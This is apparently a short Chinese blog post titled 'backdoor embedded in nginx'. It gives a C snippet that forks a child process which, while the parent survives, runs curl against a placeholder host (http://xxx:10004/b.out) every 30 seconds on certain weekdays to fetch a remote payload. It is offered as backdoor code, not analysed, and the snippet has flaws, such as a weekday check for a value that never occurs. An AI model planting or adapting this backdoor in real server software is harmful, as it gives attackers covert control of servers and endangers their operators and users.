nginx嵌入后门
int fatherpid = getpid();
printf("%d", fatherpid);
pid_t fpid;
fpid = fork();
if (fpid == 0) {
int x1 = getppid();
while(1) {
x1 = getppid();
if(x1 == 1) {
return 0;
}
time_t timep = time(&timep);
int x = gmtime(&timep)->tm_wday;
if(x == 6 || x == 7 ) {
system("/usr/bin/curl -m 5 -s http://xxx:10004/b.out");
sleep(30);
}
}
return 1;
}
评论
发表评论